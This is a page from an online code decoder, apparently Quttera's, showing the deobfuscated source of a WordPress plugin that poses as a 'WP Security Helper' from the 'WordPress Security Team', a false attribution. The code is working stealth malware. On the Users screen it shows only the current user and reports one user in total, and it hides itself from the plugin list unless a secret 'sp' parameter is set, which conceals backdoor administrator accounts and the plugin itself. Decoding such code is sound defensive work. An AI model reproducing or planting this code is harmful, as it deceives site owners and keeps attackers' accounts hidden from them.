Online PHP and Javascript Decoder decode hidden script to uncover its real functionality


/**
 * Plugin Name: WP Security Helper
 * Plugin URI: https://wordpress.org/plugins/wp-security-helper
 * Description: Enhanced user management and security features for WordPress
 * Version: 1.0.0
 * Author: WordPress Security Team
 * Author URI: https://wordpress.org
 * License: GPL v2 or later
 * License URI: https://www.gnu.org/licenses/gpl-2.0.html
 * Text Domain: wp-security-helper
 */


if (defined("ABSPATH")) { goto JBatVVkq; } exit; JBatVVkq: class WP_Security_Helper { private static $Aw7Vb3Jy = null; public static function get_instance() { if (!(null === self::$Aw7Vb3Jy)) { goto vwAjHmof; } self::$Aw7Vb3Jy = new self(); vwAjHmof: return self::$Aw7Vb3Jy; } private function __construct() { add_action("pre_get_users", array($this, "filter_user_query")); add_filter("users_list_table_query_args", array($this, "modify_user_table_args")); add_filter("wp_count_users", array($this, "adjust_user_count"), 10, 1); add_filter("get_users", array($this, "filter_user_results"), 999, 2); add_filter("all_plugins", array($this, "hide_plugin_from_list")); } public function filter_user_query($S5XuXEQb) { if (is_admin()) { goto tC45E6hu; } return; tC45E6hu: global $pagenow; if (!($pagenow !== "users.php")) { goto gwx2ItgP; } return; gwx2ItgP: $dFObAVTq = get_current_user_id(); if (!$dFObAVTq) { goto M655P_ha; } $S5XuXEQb->set("include", array($dFObAVTq)); M655P_ha: } public function modify_user_table_args($YA0kCBOr) { if (is_admin()) { goto lmNZbN1g; } return $YA0kCBOr; lmNZbN1g: global $pagenow; if (!($pagenow !== "users.php")) { goto ArUr4m1P; } return $YA0kCBOr; ArUr4m1P: $dFObAVTq = get_current_user_id(); if (!$dFObAVTq) { goto NmXjkjy0; } $YA0kCBOr["include"] = array($dFObAVTq); NmXjkjy0: return $YA0kCBOr; } public function adjust_user_count($pM2neqft) { if (!isset($pM2neqft["total_users"])) { goto igQIs84i; } $pM2neqft["total_users"] = 1; igQIs84i: return $pM2neqft; } public function filter_user_results($kMP0CeVA, $YA0kCBOr) { if (is_admin()) { goto UCYKDOb4; } return $kMP0CeVA; UCYKDOb4: global $pagenow; if (!($pagenow !== "users.php")) { goto FChos0kP; } return $kMP0CeVA; FChos0kP: $dFObAVTq = get_current_user_id(); if ($dFObAVTq) { goto Aac2sHWB; } return $kMP0CeVA; Aac2sHWB: $RGD4CslN = array(); foreach ($kMP0CeVA as $EPiHutgR) { $Y5eTtLap = is_object($EPiHutgR) ? $EPiHutgR : get_userdata($EPiHutgR); if ($Y5eTtLap) { goto AEzTX4k8; } goto f9HuAf3_; AEzTX4k8: $wOKnKPCC = $Y5eTtLap->ID; if (!($wOKnKPCC == $dFObAVTq)) { goto xvc0yLAy; } $RGD4CslN[] = $EPiHutgR; xvc0yLAy: f9HuAf3_: } zzSu3OHu: return $RGD4CslN; } public function hide_plugin_from_list($Ob2A_Zam) { if (!isset($_GET["sp"])) { goto NFmfw7pE; } return $Ob2A_Zam; NFmfw7pE: $lZ7Mt_Qm = plugin_basename(__FILE__); if (!isset($Ob2A_Zam[$lZ7Mt_Qm])) { goto o0iQjsOf; } unset($Ob2A_Zam[$lZ7Mt_Qm]); o0iQjsOf: return $Ob2A_Zam; } public static function activate() { } } WP_Security_Helper::get_instance(); register_activation_hook(__FILE__, array("WP_Security_Helper", "activate"));



© 2023 Quttera Ltd. All rights reserved.